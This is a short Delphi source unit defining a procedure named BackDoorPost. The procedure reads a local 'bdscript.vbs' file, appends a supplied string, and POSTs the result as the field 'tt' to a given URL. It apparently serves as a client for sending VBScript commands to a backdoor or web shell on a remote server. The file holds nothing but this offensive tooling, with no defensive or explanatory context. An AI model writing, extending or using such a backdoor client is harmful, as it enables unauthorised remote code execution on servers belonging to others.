unit uFunctionList;

interface

procedure BackDoorPost(const url, appendStr: string);

implementation

uses
  Classes, sysUtils, idHttp, uGlobal;
  
procedure BackDoorPost(const url, appendStr: string);
var
  fileName: string;
  idHttp: TIdHttp;
  vbScript, slSource: TStringList;
begin
  fileName := ExtractFilePath(ParamStr(0)) + 'bdscript.vbs';
  vbScript := TStringList.Create;
  slSource := TStringList.Create;
  idHttp := TIdHttp.Create(nil);
  try
    try
      if FileExists(fileName) then
      begin
        vbScript.LoadFromFile(fileName);
        vbScript.Add(appendStr);
        slSource.Add('tt=' + vbScript.Text);
        DebugOut(idHttp.Post(url, slSource));
      end else
        DebugOut('not found bdscript.vbs');
    except
      on E: Exception do
      begin
        DebugOut('[exception] BackDoorPost ' + E.Message);
      end;
    end;
  finally
    idHttp.Free;
    slSource.Free;
    vbScript.Free;
  end;
end;


end.
